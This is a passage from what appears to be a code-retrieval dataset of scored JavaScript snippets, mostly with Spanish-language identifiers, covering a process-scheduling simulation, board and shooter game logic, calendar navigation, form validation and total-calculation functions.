HDD\n\t\t\t\t\t\t\tif ((resultado[j].cantidad == resultado[j].bloqueo) && resultado[j].evento != 4) {\n\t\t\t\t\t\t\t\tresultado[j].estado = parseInt(resultado[j].estado)+1;\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t/*este if reduce la prioridad de un proceso si se ejecuta durante 3 segmentos seguidos*/\n\t\t\t\t\t\t\t\tif (nSeg == 3) {\n\n\t\t\t\t\t\t\t\t\tresultado[j].estado = parseInt(resultado[j].estado)-1;\n\t\t\t\t\t\t\t\t\tresultado[j].prioridad = parseInt(resultado[j].prioridad)+1;\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tnSeg = 1;\n\t\t\t\t\t\t\t\t\tPrioridad_1 = \"reducida\";\n\t\t\t\t\t\t\t\t\tPrioridad_2 = \"reducida\"\n\t\t\t\t\t\t\t\t\tavanzarP2 = \"\";\n\t\t\t\t\t\t\t\t\tavanzarP3 = \"\";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\t\t\n\t\t\t\t\t}else{\n\t\t\t\t\t\tif (resultado[j].estado==3) {//eventos para desbloquear procesos\n\t\t\t\t\t\t\tif (resultado[j].evento == 3 && eS == 13) {//evento E/S y trancurridos 13 ciclos\n\t\t\t\t\t\t\t\tresultado[j].estado = parseInt(resultado[j].estado)-1;\n\t\t\t\t\t\t\t\tes = 0;//reinicia el contador de ciclos de bloqueo de E/S\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (resultado[j].evento == 5 && hDD == 27) {//evento HDD y trancurridos 27 ciclos\n\t\t\t\t\t\t\t\tresultado[j].estado = parseInt(resultado[j].estado)-1;\n\t\t\t\t\t\t\t\thDD = 0;//reinicia el contador de ciclos de bloqueo de HDD\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t}else{//prioridades para cambiar de estado\n\n\t\t\t\t\t\t\tif(resultado[j].prioridad == 1 && resultado[j].estado < 4){\n\t\t\t\t\t\t\t\tresultado[j].estado = parseInt(resultado[j].estado)+1;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif((Prioridad_1!=\"\")){\n\t\t\t\t\t\t\t\tif ( (resultado[j].prioridad == 2||resultado[j].prioridad == \"2\")) {\n\t\t\t\t\t\t\t\t\tresultado[j].estado = parseInt(resultado[j].estado)+1;\n\t\t\t\t\t\t\t\t\tresultado[j].prioridad = parseInt(resultado[j].prioridad)-1;\t\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif((Prioridad_2!=\"\")){\n\t\t\t\t\t\t\t\tif ( (resultado[j].prioridad == 3||resultado[j].prioridad == \"3\")) {\n\t\t\t\t\t\t\t\t\tresultado[j].estado = parseInt(resultado[j].estado)+1;\t\n\t\t\t\t\t\t\t\t\tresultado[j].prioridad = parseInt(resultado[j].prioridad)-1;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (avanzarP2 == \"listo\") {\n\t\t\t\t\t\t\t\tif ( (resultado[j].prioridad == 2||resultado[j].prioridad == \"2\")) {\n\t\t\t\t\t\t\t\t\t\tresultado[j].estado = 1;\t\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (avanzarP3 == \"listo\") {\n\t\t\t\t\t\t\t\tif ( (resultado[j].prioridad == 3||resultado[j].prioridad == \"3\")) {\n\t\t\t\t\t\t\t\t\t\tresultado[j].estado = 1;\t\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t}\n\n\n\t\t$(\"#procesos\").html(\"\");//se vacia la tabla principal \n\n\t\t\tfor(k in resultado) {//se actualizan los estados de la tabla principal\n\t\t\t\t\t\n\t\t\t\t$(\"#procesos\").append('<tr><td>'+\n\t\t\t\t\tresultado[k].id+'</td><td>'+\n\t\t\t\t\tresultado[k].estado+'</td><td>'+\n\t\t\t\t\tresultado[k].prioridad+'</td><td>'+\n\t\t\t\t\tresultado[k].cantidad+'</td><td>'+\n\t\t\t\t\tresultado[k].bloqueo+'</td><td>'+\n\t\t\t\t\tresultado[k].evento+'</td></tr>');\n\n\t\t\t\t//estos llamasdos a funciones actualizan los estados de las tablas pequeñas\n\t\t\t\tnuevo(resultado);\n\t\t\t\tlisto(resultado);\t\t\t\t\t\n\t\t\t\tejecutandose(resultado);\n\t\t\t\tbloqueado(resultado);\n\t\t\t\tterminado(resultado);\n\t\t\t}\n\t\t\t \n\t if (--i) ciclo(i); \n\t }, 200)//duracion de cada ciclo en milisegundos 1000ms = 1s\n\t})(cant); \n}", "title": "" }, { "docid": "ffde440212d2ef3238c059af070fed93", "score": "0.5590278", "text": "movNormal( i, tirada, hayPuente) {\n\t\tlet ficha = 0;\n\t\tif(!hayPuente){ficha = this.selecFicha(i,tirada);}\n\t\telse ficha = this.selecFichaPuente(i,tirada);\n\t\tlet po1 = (this.pos[i][ficha]-1);\n\t\tif(po1<0) po1=this.numFichas - 1;\n\t\tthis.casilla[po1].sacar(this.player[i].gcolor());\n\t\tlet v = this.pos[i][ficha];\n\t\tthis.pos[i][ficha] = (this.pos[i][ficha]+tirada)%this.numCasillas;\n\t\tthis.lastPlayer = i;\n\t\tthis.lastMove = ficha;\n\t\tlet x = i*17;\n\n\t\tif(x===0)x=this.numCasillas;\n\t\tlet aux = this.entra(i,v,tirada);\n\t\tif(aux){\n\t\t\t/*if(v===0){\n\t\t\t\taux = x+5>=this.numCasillas\n\t\t\t}else aux = x+5>=v*/\n\t\t\tif(x===this.numCasillas){\n\t\t\t\taux = aux && 0<this.pos[i][ficha]\n\t\t\t}else aux = aux && x<this.pos[i][ficha]\n\t\t}\n\t\t\n\t\tlet cmp = i*17;\n\t\tv = this.pos[i][ficha];\n\t\t//if(i===0)cmp = numCasillas;\n\t\tlet devolver = {ficha: ficha, pos: this.pos[i][ficha], accion: null, estado: \"FUERA\"}\n\t\t\n\t\tif(aux) {\t//ha llegado a meta\n\t\t\tthis.esMeta = true;\n\t\t\tthis.pos[i][ficha]-=cmp;\n\t\t\tv = this.pos[i][ficha];\n\t\t\tdevolver.pos = v\n\t\t\tif(this.pos[i][ficha]==8) {\t//ha llegado\n\t\t\t\tthis.casa[i][ficha]=\"METIDA\";\n\t\t\t\tdevolver.estado = \"METIDA\"\n\t\t\t\tthis.player[i].meter();\n\t\t\t\tthis.setTurno(i)\n\t\t\t\tdevolver.accion = \"meta\"\n\t\t\t\tthis.matadoMetidoAntes = \"mete\"\n\t\t\t}else{\n\t\t\t\tthis.meta[i][v-1].introducir(this.player[i].gcolor(),this.player[(i+this.MAX/2)%this.MAX].gcolor());\n\t\t\t\tthis.casa[i][ficha]=\"META\";\n\t\t\t\tdevolver.estado = \"ENTRA\"\n\t\t\t\tthis.matadoMetidoAntes = null\n\t\t\t}\n\t\t\t\n\t\t}else {\n\t\t\tthis.esMeta = false;\n\t\t\tpo1 = (this.pos[i][ficha]-1);\n\t\t\tif(po1<0) po1=this.numFichas - 1;\n\t\t\tlet s = this.casilla[po1].introducir(this.player[i].gcolor(),this.player[(i+this.MAX/2)%this.MAX].gcolor());\n\t\t\tif(s!=\"NO\") {\n\t\t\t\tthis.muerto(s,this.pos[i][ficha])\n\t\t\t\tthis.setTurno(i)\n\t\t\t\tthis.matadoMetidoAntes = \"mata\"\n\t\t\t\tdevolver.accion = \"mata\"\n\t\t\t}\n\t\t\telse{\n\t\t\t\tthis.matadoMetidoAntes = null\n\t\t\t}\n\t\t}\n\n\t\t// MONTECARLO\n\t\tthis.historialGlobalPartida.push(new Jugada(ficha, tirada))\n\t\t\n\t\tconsole.log(\"devuelve \"+devolver)\n\t\treturn devolver;\n\t}", "title": "" }, { "docid": "09b501d46ebdb2a803db7912a7bcb057", "score": "0.55898535", "text": "function incrementarCantidadArbolesPlantados(anios) {\n\n this.cantidadArbolesPlantados += 1;\n this.totalizarTnsCapturadas(anios);\n}", "title": "" }, { "docid": "a75df942e234bfa16d6edf2a9bcf6f10", "score": "0.55888367", "text": "controlla() {\n\tfor(var j = 0; j < pallini.length; j++ ) { \n\tthis.urtoPallino(pallini[j]);\n\t}\n\tthis.urtoParete();\n\tif( new Date().getTime() - this.tempo > tempoguarigione && this.tempo > 0) {\n\tthis.stato = 2;\n\t}\n\t}", "title": "" }, { "docid": "b8bbedc6df03995816b4c8121cd3b2f5", "score": "0.55852175", "text": "function agregar_recuadros(cinta){\n var cinta_completa = \"\";\n for(var i = 0; i<cinta.length; i++){\n cinta_completa = cinta_completa + agregar_a_cinta(posicion);\n posicion = posicion + 50;\n }\n padre.html(cinta_inicial + cinta_completa);\n\n}", "title": "" }, { "docid": "a1e2c2d9f2abb118d95ee4aed94c7e92", "score": "0.5578174", "text": "function mesAnterior() \n{\n\tlimpiarTabla();\n\t//si llega a enero y retrocede\n\tif (mesa > 0) \n\t\tmesa = mesa - 1;\n\telse \n\t{\n\t\tmesa = 11;\n\t\tanioa = anioa - 1;\n\t}\n\t\n\tllenarDiasEnCalendario(mesa, anioa);\n\n\tif(tipocolor == 'oscuro')\n\t\tpintaDiaActual('#966666');\n\telse \n\t\tpintaDiaActual('#efff68');\n}", "title": "" }, { "docid": "2a1fcbe5755df963c14bcaa091d70240", "score": "0.5577362", "text": "clckAceptar() {\n\n\n if (this.items.nombre == \"\" || this.items.compania == \"\" || !this.files2.length || this.items.clave == \"\") {\n this.println(\"Hay que llenar todos los campos\");\n return;\n }\n\n this.barra = true;\n this.subirImag(this.files2[0]); //con est estoy subiendo la imagen al servidor \n\n }", "title": "" }, { "docid": "89fe2a69f4726b93eaf9ee74d2e7647e", "score": "0.55750746", "text": "function comprobarAddProf_Titulacion() {\n\n var dni; /*variable que representa el elemento dni del formulario add */\n var codTitulacion; /*variable que representa el elemento codTitulacion del formulario add */\n var anhoAcademico; /*variable que representa el elemento anhoAcademico del formulario add */\n\n dni = document.forms['ADD'].elements[0];\n codTitulacion = document.forms['ADD'].elements[1];\n anhoAcademico = document.forms['ADD'].elements[2];\n\n /*Comprueba si codTitulacion es vacio, retorna false*/\n if (!comprobarVacio(codTitulacion)) {\n return false;\n } else {// si no cumple con la condición del if anterior,\n //Comprobamos que no hay espacio intermedios\n if (!/[\\s]/.test(codTitulacion.value)) {\n return false;\n } else {// si no cumple con la condición del if anterior,\n /*Comprobamos si tiene caracteres especiales, si es así, retorna false */\n if (!comprobarTexto(codTitulacion, 10)) {\n return false;\n }//fin comprobartexto\n }//fin comprobar espacio\n }//fin comprobar vacio \t\n \n /*Comprueba si codCentro es vacio, retorna false*/\n if (!comprobarVacio(dni)) {\n return false;\n } else {// si no cumple con la condición del if anterior,\n /*Comprueba si tiene caracteres especiales, si es así, retorna false */\n if (!comprobarDni(dni)) {\n return false;\n }//comprobar dni \t\t\t\n }//comprobar vacio\n\n /*Comprueba si nombreTitulacion es vacio, retorna false*/\n if (!comprobarVacio(anhoAcademico)) {\n return false;\n } else {// si no cumple con la condición del if anterior,\n /*Comprueba si tiene caracteres especiales, si es así, retorna false */\n if (!comprobarEntero(anhoAcademico,1,999999999)) {\n return false;\n }//fin comprobar entero\n }//fin comprobar vacio\n return true;\n } //fin add prof_titulacion", "title": "" }, { "docid": "f9c4cbea160da45d86e0a20c7106874e", "score": "0.5574648", "text": "function avanzarEjercicio(nropaso) {\n\tif (verificarEsfinal() == true) {\n\t\tfinalEjercicio();\n\t} else {\n\t\tvar faseActual = faseActualCuento;\n\t\tif (faseActual == 'Ejercitacion') {\n\t\t\tcambiarFondo(nropaso);\n\t\t\tavanzarPaso();\n\t\t\tvar textopaso = cuento.pasos[parseInt(nropaso) - parseInt(2)];\n\t\t\tdocument.getElementById('contenedortexto').innerHTML = textopaso;\n\t\t\tiniciarEjercicio();\n\t\t} else {\n\t\t\tvar nropaso = parseInt(pasoActual) + parseInt(1);\n\t\t\tcambiarFondo(nropaso);\n\t\t\tavanzarPaso();\n\t\t\tvar textopaso = cuento.pasos[parseInt(nropaso) - parseInt(1)];\n\t\t\tdocument.getElementById('contenedortexto').innerHTML = textopaso;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "49d666fa75883b0293aa1fef57e549ea", "score": "0.5574489", "text": "asignarUid(usuario){\n\t\tusuario.setId(this.Uids);\n\t\tthis.Uids++;\n\t\tif(this.Uids == this.numUsuario)\n\t\t\tthis.Uids--;\n\t}", "title": "" }, { "docid": "5f20ed88183aeecc3bd23fdf42d9177c", "score": "0.5572136", "text": "moverBalas(){\r\n if(this._bullets.length){\r\n console.log(\"moviendo bala...\");\r\n for(let i = 0; i < this._bullets.length; i++){\r\n let move = this._board.Mover(this._bullets[i].info.pos.f, this._bullets[i].info.pos.c, this._bullets[i].info.o);\r\n \r\n if(!move){\r\n this._board.vaciaCasilla(this._bullets[i].info.pos.f, this._bullets[i].info.pos.c);\r\n this._bullets.splice(i, 1);\r\n console.log(\"bala destruida. fuera\\n\");\t\t\t\t\r\n }\r\n \r\n else if(move == true){\r\n console.log(\"bala movida\\n\");\r\n }\r\n \r\n else if((typeof move == \"object\") && (move instanceof Array)){\r\n this.destruirBala(move[0], move[1]);\r\n }\r\n \r\n else{\r\n if(move.info.type == \"Tanque\"){\t\t\t\t\r\n this._board.vaciaCasilla(this._bullets[i].info.pos.f, this._bullets[i].info.pos.c);\r\n this._bullets.splice(i, 1);\r\n console.log(\"bala destruida. tanque\");\t\r\n this._board.getCasilla(move.info.pos.f, move.info.pos.c).Vida = 1;\r\n console.log(\"Tanque \"+move.info.name+\" acaba de ser disparado. -1 Vida\\n\");\t\t\t\t\r\n }\r\n \r\n else if(move.info.type == \"Bala\"){\r\n //se destruye la bala que se quiere mover\r\n this._board.vaciaCasilla(this._bullets[i].info.pos.f, this._bullets[i].info.pos.c);\r\n this._bullets.splice(i, 1);\r\n \r\n //se destruye la bala que ya estaba en la posicion indicada\r\n this._board.vaciaCasilla(move.info.pos.f, move.info.pos.c);\r\n this.destruirBala(move.info.pos.f, move.info.pos.c);\r\n \r\n console.log(\"Se han chocado 2 balas entre si. Ambas fueron destruidas\\n\");\t\t\t\t\t\r\n }\r\n \r\n else{\r\n this._board.vaciaCasilla(this._bullets[i].info.pos.f, this._bullets[i].info.pos.c);\r\n this._bullets.splice(i, 1);\r\n console.log(\"bala destruida. roca\\n\");\t\r\n }\r\n }\r\n }\r\n }\r\n this.checkHP();\r\n }", "title": "" }, { "docid": "290c262cf2fd44a7c84fd98360db03cf", "score": "0.5569837", "text": "function retrocederEtapa() {\n\tif (pasoActual == 0) {\n\t} else {\n\t\tdocument.getElementById('contenedorejercicio').innerHTML = ' ';\n\t\tdocument.getElementById('contenedorejercicio2').innerHTML = ' ';\n\t\t//tengo que eliminar el contenido de este div contenedorejercicio\n\t\t--pasoActual;\n\t\tgenerarImagenes(ejercitacion, pasoActual);\n\t}\n}", "title": "" }, { "docid": "d62e419be25b7086f897731cf726f716", "score": "0.55687207", "text": "function verificar(){\n\n var contCopia=0;\n\n\n\n for(var i in primero){\n var claseActual=primero[i].nombre;\n for(var k in segundo){\n if(segundo[k].nombre==claseActual){\n for(var m in primero[i].metodos){\n var retornoActual=primero[i].metodos[m].retorno;\n\n for(var p in segundo[k].metodos){\n\n var primBandera=primero[i].metodos[m].copia;\n var secBandera=segundo[k].metodos[p].copia;\n\n if(segundo[k].metodos[p].retorno==retornoActual&&!primBandera&&!secBandera){\n \n var primParam=primero[i].metodos[m].parametros;\n var secParam=segundo[k].metodos[p].parametros;\n if(primParam.length==secParam.length){\n\n var seguir=true;\n for(var j in primParam){\n if(primParam[j].tipo!=secParam[j].tipo){\n seguir=false;\n break;\n }\n }\n if(seguir){\n//------------------------------------ \n for(var r in primero[i].metodos[m].variables){\n\n var tipoActual=primero[i].metodos[m].variables[r].tipo;\n var variableActual=primero[i].metodos[m].variables[r].nombre;\n\n for(var s in segundo[k].metodos[p].variables){\n var tempTipo=segundo[k].metodos[p].variables[s].tipo\n var tempVariable=segundo[k].metodos[p].variables[s].nombre\n if(tipoActual==tempTipo&&variableActual==tempVariable){\n variablesCopia.push({\n clase: segundo[k].nombre,\n funcion: segundo[k].metodos[p].nombre,\n nombre: variableActual,\n tipo: tipoActual\n\n })\n }\n }\n }\n\n//-----------------------------------\n segundo[k].metodos[p].copia=true;\n primero[i].metodos[m].copia=true;\n var temp=[]\n for(var aux in secParam){\n temp.push({\n tipo: secParam[aux].tipo,\n nombre: secParam[aux].nombre\n })\n }\n funcionCopia.push({\n clase: segundo[k].nombre,\n retorno: retornoActual,\n nombre: segundo[k].metodos[p].nombre,\n parametros: temp\n })\n \n contCopia++;\n\n }\n\n }\n }\n }\n \n }\n \n if(primero[i].metodos.length==contCopia){\n console.log(\"yeees!\")\n segundo[k].copia=true;\n claseCopia.push({\n nombre: segundo[k].nombre,\n cantidadFunciones: contCopia\n })\n }\n contCopia=0;\n break;\n }\n }\n\n }\n\n\n}", "title": "" }, { "docid": "2ec4fbf92fbfef603e20f20ba50d03ef", "score": "0.5564392", "text": "function verificarContacto() {\n\tfor(var i in disparos) {\n\t\tvar disparo = disparos[i];\n\t\tfor(j in enemigos) {\n\t\t\tvar enemigo = enemigos[j];\n\t\t\tif(hit(disparo,enemigo)) {\n\t\t\t\tenemigo.estado = 'hit';\n\t\t\t\tenemigo.contador = 0;\n\t\t\t}\n\t\t}\n\t}\n\tif(nave.estado == 'hit' || nave.estado == 'muerto') return;\n\tfor(var i in disparosEnemigo) {\n\t\tvar disparo = disparosEnemigo[i];\n\t\tif(hit(disparo,nave)) {\n\t\t\tnave.estado = 'hit';\n\t\t}\n\t}\t\n}", "title": "" }, { "docid": "86173843ce147bddecb88f04f227b490", "score": "0.5564337", "text": "function jogoDaVelha() {\n let contador = 0;\n \n // conta as posições vazias\n tabuleiro.forEach((posicao) => {\n if (posicao == '') {\n contador++;\n } \n velha = contador == 0 ? true : false;\n })\n alertaVelha(velha);\n return velha;\n}", "title": "" }, { "docid": "50d984e1499374651975e0371346bab3", "score": "0.5561357", "text": "function aniadirCadenaTexto() {\r\n\tconst texto = prompt(\"Introduzca cadena de texto\");\r\n\tif (texto != null && texto != \"\") {\r\n\t\tconst cadenas = lista.getCadenasTexto();\r\n\t\tlet id = cadenas.length;\r\n\r\n\t\tdo {\r\n\t\t\tid++;\r\n\t\t} while (lista.existeId(id));\r\n\r\n\t\tlet cadena = new Cadena(id, texto);\r\n\t\tlista.anadirCadena(cadena.getHtml());\r\n\t\t//Limpiamos cualquier valor residual\r\n\t\tlista.limpiarValores();\r\n\t\t//Guardamos los valores de la cadena recien anadida por si queremos deshacer los cambios\r\n\t\tlista.setUltimaAccion(\"anadir\");\r\n\t\tlista.setUltimaCadena(cadena.getId(), cadena.getTexto());\r\n\t}\r\n}", "title": "" }, { "docid": "e29dcc6aecc2d993f122416ea6507cc6", "score": "0.55602676", "text": "function despintarReinicio() {\n for (let i = 1; i <= 5; i++) {\n $('#primer-cuadrado-1').removeClass('palitos-' + i);\n $('#segundo-cuadrado-1').removeClass('palitos-' + i);\n $('#tercer-cuadrado-1').removeClass('palitos-' + i);\n $('#cuarto-cuadrado-1').removeClass('palitos-' + i);\n $('#quinto-cuadrado-1').removeClass('palitos-' + i);\n $('#sexto-cuadrado-1').removeClass('palitos-' + i);\n }\n for (let i = 1; i <= 5; i++) {\n $('#primer-cuadrado-2').removeClass('palitos-' + i);\n $('#segundo-cuadrado-2').removeClass('palitos-' + i);\n $('#tercer-cuadrado-2').removeClass('palitos-' + i);\n $('#cuarto-cuadrado-2').removeClass('palitos-' + i);\n $('#quinto-cuadrado-2').removeClass('palitos-' + i);\n $('#sexto-cuadrado-2').removeClass('palitos-' + i);\n }\n }", "title": "" }, { "docid": "9d54f452b06bf53277e10c5fa405eb38", "score": "0.5555681", "text": "function aradiaQuest(){\n\n\tfor(var i = 0; i< curSessionGlobalVar.players.length; i++){\n\t\tvar player = blankPlayerNoDerived(curSessionGlobalVar); //unlike gamzee or vriska, aradias can be different\n\t\tsession612IndexToTroll(player, 4);\n\t\tvar p = curSessionGlobalVar.players[i];\n\t\tvar g = p.guardian;\n\t\tp.id = i;\n\t\tg.id = i + 111111;\n\t\tcopyPlayerFromTemplate(p,player);\n\t\tcopyPlayerFromTemplate(g,player);\n\t}\n}", "title": "" }, { "docid": "4888fd3eb8c379fe699d2b9601a64d53", "score": "0.5552005", "text": "function contarElementosImpares(elemetos){\n\n\n}", "title": "" }, { "docid": "4ba3faf5651c29ffb1fcbb705597f0a7", "score": "0.5551574", "text": "function restarFechas () {\n var aux = vm.impuesto.fecha_actual;\n var count = 1;\n while (aux>=vm.impuesto.fecha_minima && count<100) {\n console.log(\"Aux \"+ aux);\n vm.impuesto.listYear.push({\n 'year': aux,\n 'id':aux\n });\n aux = aux-1;\n count++;\n }\n }", "title": "" }, { "docid": "6eff9f1bce79cbb892c2e133e3a1ee32", "score": "0.55490565", "text": "function avanzados() {\n noBasico(10000000001, 10000000000, 999, 100, 3, 2);\n}", "title": "" }, { "docid": "37ceb2689126e3bdf5e569de50817d16", "score": "0.5545632", "text": "function limpiarTodo() {\r\n\tlimpiarRecurso(Recursos.menuPrincipal);\r\n\tlimpiarRecurso(Recursos.menuCuadros);\r\n\t\r\n\tvar i;\r\n\tfor (i = 0 ; i < 6 ; i++) {\r\n\t\tlimpiarRecurso(Recursos.morro[i]);\r\n\t\tlimpiarRecurso(Recursos.belalcazar[i]);\r\n\t\tlimpiarRecurso(Recursos.parque[i]);\r\n\t\tlimpiarRecurso(Recursos.puente[i]);\r\n\t\tlimpiarRecurso(Recursos.valencia[i]);\r\n\t}\r\n}", "title": "" } ]
7543c54d27a7218f0d0d8b3c4c71d2f4
Function to add totals
[ { "docid": "5d14f113737158d95bd3485749716b3a", "score": "0.0", "text": "function totalCost(item) {\n let totalPrice = localStorage.getItem('totalCost');\n\n if(totalPrice) {\n totalPrice = parseFloat(totalPrice)\n localStorage.setItem('totalCost', totalPrice + item.price)\n } else {\n localStorage.setItem('totalCost', item.price)\n }\n console.log(totalPrice)\n}", "title": "" } ]
[ { "docid": "ef75f9503fd30c39160096a5814ab157", "score": "0.7753177", "text": "function findTotal () {}", "title": "" }, { "docid": "ac71d44eaa7100434d4849bab0089653", "score": "0.7498851", "text": "function calcTotal() {\n\tvar numTotal = currentTotal.reduce( function (acc, val) {\n\t\treturn acc + val;\n });\n $('.total').text(`Total: $ ${numTotal}`);\n}", "title": "" }, { "docid": "2af49041e9d7ffd64491a40b1185efb8", "score": "0.7362547", "text": "function setTotals() {\n changeTotal(\"Amsterdam\")\n changeTotal(\"Rotterdam\")\n changeTotal(\"DenHaag\")\n changeTotal(\"Utrecht\")\n changeTotal(\"Groningen\")\n}", "title": "" }, { "docid": "85f4811ad31db0d0c87af98c0aa82c68", "score": "0.7215634", "text": "function calculateTotal(){\n var subtotal;\n var vat;\n var firstClassPrice = getValue('firstClass')*150;\n var economyPrice = getValue('economy')*100;\n subtotal = firstClassPrice + economyPrice;\n vat = (subtotal * 10)/100;\n var total = subtotal + vat;\n updateInfo('subtotal', subtotal);\n updateInfo('vat', vat);\n updateInfo('total', total);\n}", "title": "" }, { "docid": "d0aac7326d58af668abf9e3ff9381b39", "score": "0.7205794", "text": "function addStoreTotals () {\n var total = 0;\n for (var i = 0; i < allStores.length; i ++) {\n total += allStores[i].total;\n }\n return total;\n}", "title": "" }, { "docid": "c4e8a65aaff631e957f5fcf50d5e3333", "score": "0.7106328", "text": "function displayTotals() {\n $('<div class=\"fluid-results norm-font purple\">All Done!</div>').appendTo('.js-main-section');\n $('<div class=\"fluid-results norm-font purple\">Correct Answers: ' + answersGuessedCorrect + '</div>').appendTo('.js-main-section');\n $('<div class=\"fluid-results norm-font purple\">Incorrect Answers: ' + answersGuessedIncorrect + '</div>').appendTo('.js-main-section');\n $('<div class=\"fluid-results norm-font purple\">Unanswered: ' + answersUnanswered + '</div>').appendTo('.js-main-section');\n }", "title": "" }, { "docid": "41e4ba96be7752ef7fc5b256a5d0c8d3", "score": "0.7057952", "text": "function grandTotal(){\n var sum = 0;\n $('.sum').each(function(){\n sum += parseInt($(this).html() || 0);\n $('#grandtotal').html(sum);\n })\n }", "title": "" }, { "docid": "e18ccd340abdd1f461a352ee0fe21467", "score": "0.7014372", "text": "function total (type) {\n\n var totalvalue = 0;\n\n allData.totals[type].forEach(item => {\n totalvalue += item.value;\n });\n allData[type] = totalvalue;\n }", "title": "" }, { "docid": "9870a219bc33d5e636531c38328d06be", "score": "0.70052975", "text": "function updateTotals(data = []){\n\n let total = {};\n total.cost = 0;\n total.item = 0;\n\n \n if(data.length > 0){\n data.forEach((book)=>{\n total.cost += (parseFloat(book.cost) * book.quantity)\n total.item += parseInt(book.quantity)\n })\n }\n \n let roundResult = Math.round(total.cost * 100) / 100\n \n // set total cost and amount\n $(\"#total\").text(total ? roundResult : 0)\n $(\".itemCount\").text(total.item)\n $(\"#containMessage\").text(total.item <= 1 ? \"product\" : \"products\")\n}", "title": "" }, { "docid": "1f6ce54b055f8f9f9824f5c90b6c759f", "score": "0.69874984", "text": "function calcAndUpdateTotal() {\n //compute sub total without tax\n var sum = 0;\n $(\".line-total\").each(function () {\n sum += parseFloat($(this).text());\n });\n $('#line-sub-total-without-tax').text(sum);\n\n //compute sub total with tax\n var sumWithTax = 0;\n $(\".line-total-with-tax\").each(function () {\n sumWithTax += parseFloat($(this).text());\n });\n $('#line-sub-total-with-tax').text(sumWithTax);\n\n\n }", "title": "" }, { "docid": "998f962a113ac05f89c5a8202a083044", "score": "0.69860613", "text": "function getTotal(num) {\n t += num;\n displayTotal(t);\n return;\n}", "title": "" }, { "docid": "509968050ccc86bd327200c2f96ad45a", "score": "0.69820863", "text": "total() {\n // for (starting var; condition; increment)\n let total = 0;\n for(var i = 0; i < this.items.length; i += 1) {\n total += this.items[i].subtotal();\n } \n return total;\n }", "title": "" }, { "docid": "07c3a68b9ab359746922594cf591eb60", "score": "0.69705963", "text": "function calculateTotals() {\n var formattedTotal = (order.getTotal() / 100).toFixed(2);\n $('#runningtotal').html(\"&pound;\" + formattedTotal);\n $('#numitems').html(order.getNumItems());\n $('#numtitles').html(order.getNumTitles());\n $('#ordertotal').html(formattedTotal);\n}", "title": "" }, { "docid": "55720864d3b7fc60cee03ca956be88d7", "score": "0.69622934", "text": "calculateTotal () {\n this.total = {};\n\n // reset the values\n Bill.TYPES.forEach(type => this.total[type] = 0);\n\n for (let type in this.total) {\n this.total[type] = this.data\n .filter(bill => bill.type === type)\n .reduce((c, n) => (c.amount ? c.amount : c) + n.amount, 0);\n }\n }", "title": "" }, { "docid": "dc42ada08a5a9cce566eed72f26eae9f", "score": "0.6962179", "text": "function populateTotal() {\n\n // Use reduce method to convert transaction to a single value\n const total = transactions.reduce((total, t) => total + parseInt(t.value), 0);\n\n const totalEl = document.querySelector('#total');\n totalEl.textContent = total;\n}", "title": "" }, { "docid": "5852b04cc3f259db3c8f0870b4a4c553", "score": "0.69005716", "text": "function grand_total()\n\t\t{\n\t\t\tvar grandtotal = 0;\n\t\t\t$('.label_total').each( function() {\n\t\t\t\tvar temp = parseInt($(this).attr('data-total'));\n\t\t\t\tgrandtotal += temp;\n\t\t\t});\n\t\t\t$('.grand_total').html('<strong>IDR ' +number_format(grandtotal)+'</strong>');\t\n\t\t}", "title": "" }, { "docid": "90b406bd6b418ba52348be84af6efe2e", "score": "0.6895244", "text": "function appendTotals(inputs) {\n\tvar input = _.clone(inputs);\n\tvar total={};\n\t\n\ttotal.totalsales = currency_format(_(input.list).chain()\n\t\t\t\t\t .pluck('totalrow')\n\t\t\t\t\t .reduce(function(init,item){ return Number(item.sales)+init;},0)\n\t\t\t\t\t .value())\n\t;\n\n\ttotal.totaltransactions=_(input.list).chain()\n\t .pluck('totalrow')\n\t .reduce(function(init,item){ return Number(item.numberoftransactions)+init;},0)\n\t .value();\n\ttotal.totaltax1 = currency_format(_(input.list).chain()\n\t\t\t\t\t .pluck('totalrow')\n\t\t\t\t\t .reduce(function(init,item){ return Number(item.tax1)+init;},0)\n\t\t\t\t\t .value());\n\ttotal.totaltax3 = currency_format(_(input.list).chain()\n\t\t\t\t\t .pluck('totalrow')\n\t\t\t\t\t .reduce(function(init,item){ return Number(item.tax3)+init;},0)\n\t\t\t\t\t .value());\n\ttotal.totaltotalsales = currency_format(_(input.list).chain()\n\t\t\t\t\t\t.pluck('totalrow')\n\t\t\t\t\t\t.reduce(function(init,item){ return Number(item.totalsales)+init;},0)\n\t\t\t\t\t\t.value());\n\ttotal.totalcash = currency_format(_(input.list).chain()\n\t\t\t\t\t .pluck('totalrow')\n\t\t\t\t\t .reduce(function(init,item){ return Number(item.cash)+init;},0)\n\t\t\t\t\t .value());\n\ttotal.totalcredit = currency_format(_(input.list).chain()\n\t\t\t\t\t .pluck('totalrow')\n\t\t\t\t\t .reduce(function(init,item){ return Number(item.credit)+init;},0)\n\t\t\t\t\t .value());\n\ttotal.totaldebit = currency_format(_(input.list).chain()\n\t\t\t\t\t .pluck('totalrow')\n\t\t\t\t\t .reduce(function(init,item){ return Number(item.debit)+init;},0)\n\t\t\t\t\t .value());\n\ttotal.totalmobile = currency_format(_(input.list).chain()\n\t\t\t\t\t .pluck('totalrow')\n\t\t\t\t\t .reduce(function(init,item){ return Number(item.mobile)+init;},0)\n\t\t\t\t\t .value());\n\ttotal.totalother = currency_format(_(input.list).chain()\n\t\t\t\t\t .pluck('totalrow')\n\t\t\t\t\t .reduce(function(init,item){ return Number(item.other)+init;},0)\n\t\t\t\t\t .value());\n\tinput.total = total;\n\t\n\treturn input;\n }", "title": "" }, { 